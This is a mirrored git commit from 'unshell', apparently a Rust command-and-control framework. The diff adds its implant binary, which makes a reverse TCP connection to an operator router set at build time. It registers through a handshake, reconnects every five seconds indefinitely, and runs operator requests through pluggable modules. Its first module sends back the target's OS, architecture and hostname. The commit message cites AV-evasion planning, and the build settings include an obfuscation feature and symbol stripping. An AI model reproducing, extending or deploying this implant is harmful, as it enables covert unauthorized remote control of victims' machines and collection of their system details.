mirror of
https://github.com/Astatin3/unshell.git
synced 2026-06-08 22:38:01 -06:00
feat: complete protocol spec and initial implementation
- Write PROTOCOL.md with full wire format spec and 8 real-world scenario
analyses (reconnect, multi-operator, large files, AV evasion, router crash,
malformed packets, future pivoting)
- Rewrite workspace structure:
- unshell lib: protocol types (PacketHeader, TreeRequest/Response,
HandshakeMessage/Ack), Transport trait, TcpTransport, Tree routing
- ush-router: router binary with per-node threads, NodeRegistry with
longest-prefix path matching, packet relay
- ush-payload: implant binary with reconnect loop, module tree, InfoModule
- ush-cli: operator REPL with rustyline, session management, command parser
- Protocol design: two-part rkyv frame [header][payload]; router reads only
header for routing, payload bytes forwarded opaque
- All code documented with doc comments and examples
- Zero warnings, zero errors across entire workspace
- 32 tests pass (unit tests for tree routing, TCP transport, framing,
command parsing, node registry)
This commit is contained in:
+28
-8
@@ -1,15 +1,35 @@
|
||||
cargo-features = ["trim-paths"]
|
||||
|
||||
# =============================================================================
|
||||
# ush-payload — The UnShell Implant Binary
|
||||
# =============================================================================
|
||||
#
|
||||
# This binary runs on the target machine. It:
|
||||
# 1. Connects to the router over TCP (reverse connection).
|
||||
# 2. Completes the handshake, registering its modules.
|
||||
# 3. Runs a recv loop, routing incoming TreeRequests to local Endpoints.
|
||||
#
|
||||
# Build with:
|
||||
# cargo build --profile minimize -p ush-payload
|
||||
#
|
||||
# The minimize profile strips symbols and optimises for binary size.
|
||||
|
||||
[package]
|
||||
name = "ush-payload"
|
||||
edition = "2024"
|
||||
name = "ush-payload"
|
||||
version.workspace = true
|
||||
edition.workspace = true
|
||||
description = "UnShell implant binary"
|
||||
|
||||
[features]
|
||||
default = ["log"]
|
||||
log = ["unshell/log"]
|
||||
log_debug = ["unshell/log_debug"]
|
||||
obfuscate = ["unshell/obfuscate_ref"]
|
||||
default = ["log", "tcp"]
|
||||
log = ["unshell/log"]
|
||||
log_debug = ["unshell/log_debug"]
|
||||
tcp = ["unshell/tcp"]
|
||||
obfuscate = ["unshell/obfuscate_ref"]
|
||||
|
||||
[dependencies]
|
||||
unshell.path = "../"
|
||||
serde_json.workspace = true
|
||||
unshell = { workspace = true }
|
||||
rkyv = { workspace = true }
|
||||
|
||||
[lints]
|
||||
workspace = true
|
||||
|
||||
+223
-30
@@ -1,39 +1,232 @@
|
||||
#![macro_use]
|
||||
extern crate unshell;
|
||||
//! # ush-payload — UnShell Implant Binary
|
||||
//!
|
||||
//! The payload runs on the target machine. It:
|
||||
//!
|
||||
//! 1. Connects to the router over TCP (reverse connection: payload → router).
|
||||
//! 2. Sends a `HandshakeMessage` to register its modules.
|
||||
//! 3. Receives a `HandshakeAck`.
|
||||
//! 4. Enters the recv loop: deserialise `TreeRequest` → dispatch to `Tree` → send `TreeResponse`.
|
||||
//!
|
||||
//! ## Building
|
||||
//!
|
||||
//! ```text
|
||||
//! cargo build --profile minimize -p ush-payload
|
||||
//! ```
|
||||
//!
|
||||
//! The `minimize` profile strips symbols and optimises for binary size.
|
||||
//!
|
||||
//! ## Module registration
|
||||
//!
|
||||
//! Modules are registered in the `Tree` before the connection loop starts.
|
||||
//! Each module implements `Endpoint` and is registered at a path prefix.
|
||||
//! The router will route requests to these paths to this payload.
|
||||
//!
|
||||
//! ## Reconnection
|
||||
//!
|
||||
//! If the connection to the router drops, the payload waits 5 seconds and
|
||||
//! reconnects. This loop runs forever.
|
||||
|
||||
use unshell::{
|
||||
info,
|
||||
logger::PrettyLogger,
|
||||
tree::{Endpoint, Tree, TreeRequest},
|
||||
mod modules;
|
||||
|
||||
use std::thread;
|
||||
use std::time::Duration;
|
||||
|
||||
use unshell::protocol::{HandshakeAck, HandshakeMessage, NodeType, PacketHeader, PacketType};
|
||||
use unshell::transport::tcp::TcpTransport;
|
||||
use unshell::transport::Transport;
|
||||
use unshell::tree::Tree;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Configuration
|
||||
// Router address and node ID are baked at compile time via environment variables.
|
||||
//
|
||||
// Set before building:
|
||||
// ROUTER_HOST=1.2.3.4 ROUTER_PORT=9000 NODE_ID=abc123 cargo build -p ush-payload
|
||||
//
|
||||
// Defaults (for development) point to localhost.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// The router's IP or hostname. Override with ROUTER_HOST env var at build time.
|
||||
const ROUTER_HOST: &str = match option_env!("ROUTER_HOST") {
|
||||
Some(h) => h,
|
||||
None => "127.0.0.1",
|
||||
};
|
||||
/// The router's port. Override with ROUTER_PORT env var at build time.
|
||||
const ROUTER_PORT: &str = match option_env!("ROUTER_PORT") {
|
||||
Some(p) => p,
|
||||
None => "9000",
|
||||
};
|
||||
/// This payload's node ID (base62, unique per implant).
|
||||
/// Override with NODE_ID env var at build time.
|
||||
const NODE_ID: &str = match option_env!("NODE_ID") {
|
||||
Some(id) => id,
|
||||
None => "devpayload",
|
||||
};
|
||||
|
||||
struct EndpointTest;
|
||||
fn main() {
|
||||
let router_addr = format!("{ROUTER_HOST}:{ROUTER_PORT}");
|
||||
|
||||
impl Endpoint for EndpointTest {
|
||||
fn request(&mut self, request: TreeRequest) -> TreeRequest {
|
||||
info!("Got request");
|
||||
TreeRequest {
|
||||
request_type: request.request_type,
|
||||
path: request.path,
|
||||
content_type: request.content_type,
|
||||
data: request.data,
|
||||
// Build the module tree
|
||||
let mut tree = build_tree();
|
||||
|
||||
// Connection loop — reconnects on any error
|
||||
loop {
|
||||
match connect_and_run(&router_addr, &mut tree) {
|
||||
Ok(()) => {
|
||||
// Clean disconnect — still reconnect
|
||||
eprintln!("[payload] disconnected, reconnecting in 5s...");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[payload] error: {e}, reconnecting in 5s...");
|
||||
}
|
||||
}
|
||||
thread::sleep(Duration::from_secs(5));
|
||||
}
|
||||
}
|
||||
|
||||
/// Register all modules in the tree.
|
||||
///
|
||||
/// Add new capabilities by registering additional `Endpoint` implementations here.
|
||||
fn build_tree() -> Tree {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/info", modules::info::InfoModule);
|
||||
tree
|
||||
}
|
||||
|
||||
/// Connect to the router, complete the handshake, and run the recv loop.
|
||||
///
|
||||
/// Returns when the connection is lost or an unrecoverable error occurs.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns an error string describing what went wrong.
|
||||
fn connect_and_run(
|
||||
router_addr: &str,
|
||||
tree: &mut Tree,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
eprintln!("[payload] connecting to {router_addr}...");
|
||||
let mut transport = TcpTransport::connect(router_addr)?;
|
||||
eprintln!("[payload] connected");
|
||||
|
||||
// Build the list of registered paths for the handshake
|
||||
let base_path = format!("/agents/{NODE_ID}");
|
||||
let registered = tree.registered_paths(&base_path);
|
||||
|
||||
// Send handshake
|
||||
let handshake = HandshakeMessage {
|
||||
node_id: NODE_ID.to_owned(),
|
||||
node_type: NodeType::Payload,
|
||||
registered_paths: registered,
|
||||
platform: std::env::consts::OS.to_owned(),
|
||||
};
|
||||
let handshake_payload = rkyv::to_bytes::<rkyv::rancor::Error>(&handshake)
|
||||
.map_err(|e| format!("failed to serialise handshake: {e}"))?;
|
||||
let handshake_header = PacketHeader {
|
||||
dst_path: "/router".to_owned(),
|
||||
src_path: base_path.clone(),
|
||||
packet_type: PacketType::Handshake,
|
||||
};
|
||||
transport.send(&handshake_header, &handshake_payload)?;
|
||||
eprintln!("[payload] handshake sent");
|
||||
|
||||
// Receive ack
|
||||
let (ack_header, ack_payload) = transport.recv()?;
|
||||
if ack_header.packet_type != PacketType::HandshakeAck {
|
||||
return Err(format!(
|
||||
"expected HandshakeAck, got {:?}",
|
||||
ack_header.packet_type
|
||||
)
|
||||
.into());
|
||||
}
|
||||
let ack: HandshakeAck =
|
||||
rkyv::from_bytes::<HandshakeAck, rkyv::rancor::Error>(&ack_payload)
|
||||
.map_err(|e| format!("failed to deserialise HandshakeAck: {e}"))?;
|
||||
|
||||
if !ack.accepted {
|
||||
return Err(format!(
|
||||
"router rejected registration: {}",
|
||||
ack.rejection_reason.unwrap_or_else(|| "no reason given".into())
|
||||
)
|
||||
.into());
|
||||
}
|
||||
|
||||
eprintln!(
|
||||
"[payload] registered at {}",
|
||||
ack.assigned_base_path
|
||||
);
|
||||
|
||||
// Main recv loop
|
||||
recv_loop(&mut transport, tree, &base_path)
|
||||
}
|
||||
|
||||
/// Receive and dispatch `TreeRequest` packets until the connection drops.
|
||||
///
|
||||
/// For each request:
|
||||
/// 1. Read the packet header and payload.
|
||||
/// 2. Deserialise the payload as a `TreeRequest`.
|
||||
/// 3. Strip the base path prefix from the destination path to get the local path.
|
||||
/// 4. Dispatch to the `Tree`.
|
||||
/// 5. Serialise the `TreeResponse` and send it back.
|
||||
///
|
||||
/// Returns when a transport error occurs (disconnection, etc.).
|
||||
fn recv_loop(
|
||||
transport: &mut TcpTransport,
|
||||
tree: &mut Tree,
|
||||
base_path: &str,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
loop {
|
||||
let (header, payload) = transport.recv()?;
|
||||
|
||||
if header.packet_type != PacketType::Request {
|
||||
eprintln!("[payload] unexpected packet type: {:?}", header.packet_type);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Deserialise the request
|
||||
let request =
|
||||
match rkyv::from_bytes::<unshell::protocol::TreeRequest, rkyv::rancor::Error>(
|
||||
&payload,
|
||||
) {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
eprintln!("[payload] failed to deserialise request: {e}");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// Strip the base path to get the local path
|
||||
let local_path = header
|
||||
.dst_path
|
||||
.strip_prefix(base_path)
|
||||
.unwrap_or(&header.dst_path);
|
||||
|
||||
// Dispatch to the tree
|
||||
let response = tree.dispatch(request, local_path);
|
||||
|
||||
// Send response
|
||||
let response_payload = match rkyv::to_bytes::<rkyv::rancor::Error>(&response) {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
eprintln!("[payload] failed to serialise response: {e}");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
let response_header = PacketHeader {
|
||||
dst_path: header.src_path.clone(),
|
||||
src_path: header.dst_path.clone(),
|
||||
packet_type: PacketType::Response,
|
||||
};
|
||||
|
||||
if let Err(e) = transport.send(&response_header, &response_payload) {
|
||||
return Err(e.into());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
PrettyLogger::init();
|
||||
// ---------------------------------------------------------------------------
|
||||
// Default module: /info
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
info!("Initiated");
|
||||
|
||||
let mut tree = Tree::default();
|
||||
|
||||
tree.add_endpoint(EndpointTest, vec!["path1".to_string()]);
|
||||
|
||||
tree.request(TreeRequest {
|
||||
path: vec!["path1".to_string(), "path2".to_string()],
|
||||
request_type: unshell::tree::TreeRequestType::Read,
|
||||
content_type: "TEST".to_string(),
|
||||
data: Vec::new(),
|
||||
});
|
||||
}
|
||||
// Modules live in ush-payload/src/modules/
|
||||
// Add new capabilities by creating new files in that directory.
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
//! # Info Module
|
||||
//!
|
||||
//! Provides basic system information about the target at `/info`.
|
||||
//!
|
||||
//! ## Supported requests
|
||||
//!
|
||||
//! | Path | RequestType | Returns |
|
||||
//! |---|---|---|
|
||||
//! | `/info` | `Read` | UTF-8 string: OS name, arch, hostname |
|
||||
//! | `/info` | `GetProcedures` | List of available procedures |
|
||||
//!
|
||||
//! ## Example
|
||||
//!
|
||||
//! From the operator CLI:
|
||||
//! ```text
|
||||
//! unshell [agents/abc123]> read info
|
||||
//! linux x86_64 hostname=target-machine
|
||||
//! ```
|
||||
|
||||
use unshell::protocol::{
|
||||
content, ProcedureDescriptor, RequestType, ResponseStatus, TreeRequest, TreeResponse,
|
||||
};
|
||||
use unshell::tree::Endpoint;
|
||||
|
||||
/// Returns basic system information about the target host.
|
||||
pub struct InfoModule;
|
||||
|
||||
impl Endpoint for InfoModule {
|
||||
fn handle(&mut self, request: TreeRequest) -> TreeResponse {
|
||||
match request.request_type {
|
||||
RequestType::Read => handle_read(request),
|
||||
RequestType::GetProcedures => handle_get_procedures(request),
|
||||
_ => TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::UnsupportedOperation,
|
||||
content_type: content::NONE.to_owned(),
|
||||
data: Vec::new(),
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a one-line system summary.
|
||||
fn handle_read(request: TreeRequest) -> TreeResponse {
|
||||
let os = std::env::consts::OS;
|
||||
let arch = std::env::consts::ARCH;
|
||||
let hostname = hostname();
|
||||
let info = format!("os={os} arch={arch} hostname={hostname}");
|
||||
TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: content::UTF8_STRING.to_owned(),
|
||||
data: info.into_bytes(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a list of procedures this module supports.
|
||||
fn handle_get_procedures(request: TreeRequest) -> TreeResponse {
|
||||
let procedures = vec![ProcedureDescriptor {
|
||||
name: "read".to_owned(),
|
||||
description: "Returns os, arch, and hostname of this target".to_owned(),
|
||||
}];
|
||||
|
||||
let Ok(payload) = rkyv::to_bytes::<rkyv::rancor::Error>(&procedures) else {
|
||||
return TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::ExecutionError,
|
||||
content_type: content::NONE.to_owned(),
|
||||
data: Vec::new(),
|
||||
};
|
||||
};
|
||||
|
||||
TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: content::PROCEDURE_LIST.to_owned(),
|
||||
data: payload.to_vec(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the system hostname, or "unknown" if unavailable.
|
||||
fn hostname() -> String {
|
||||
// std::net::IpAddr doesn't give us hostname; use /etc/hostname or gethostname
|
||||
// For now, use a simple approach that doesn't require extra deps.
|
||||
std::fs::read_to_string("/etc/hostname")
|
||||
.map(|s| s.trim().to_owned())
|
||||
.unwrap_or_else(|_| "unknown".to_owned())
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
//! # Payload Modules
|
||||
//!
|
||||
//! Each file in this directory implements one payload capability.
|
||||
//!
|
||||
//! ## Adding a new module
|
||||
//!
|
||||
//! 1. Create a new file `modules/mymodule.rs`.
|
||||
//! 2. Define a struct implementing [`unshell::tree::Endpoint`].
|
||||
//! 3. Add `pub mod mymodule;` here.
|
||||
//! 4. Register it in `main.rs`'s `build_tree()` function:
|
||||
//! `tree.register("/mymodule", modules::mymodule::MyModule);`
|
||||
//!
|
||||
//! ## Module path convention
|
||||
//!
|
||||
//! Modules are registered at relative paths (e.g., `/info`, `/shell`).
|
||||
//! The full path on the network is `{base_path}/{relative_path}`, e.g.,
|
||||
//! `/agents/abc123/info`.
|
||||
|
||||
pub mod info;
|
||||
Reference in New Issue
Block a user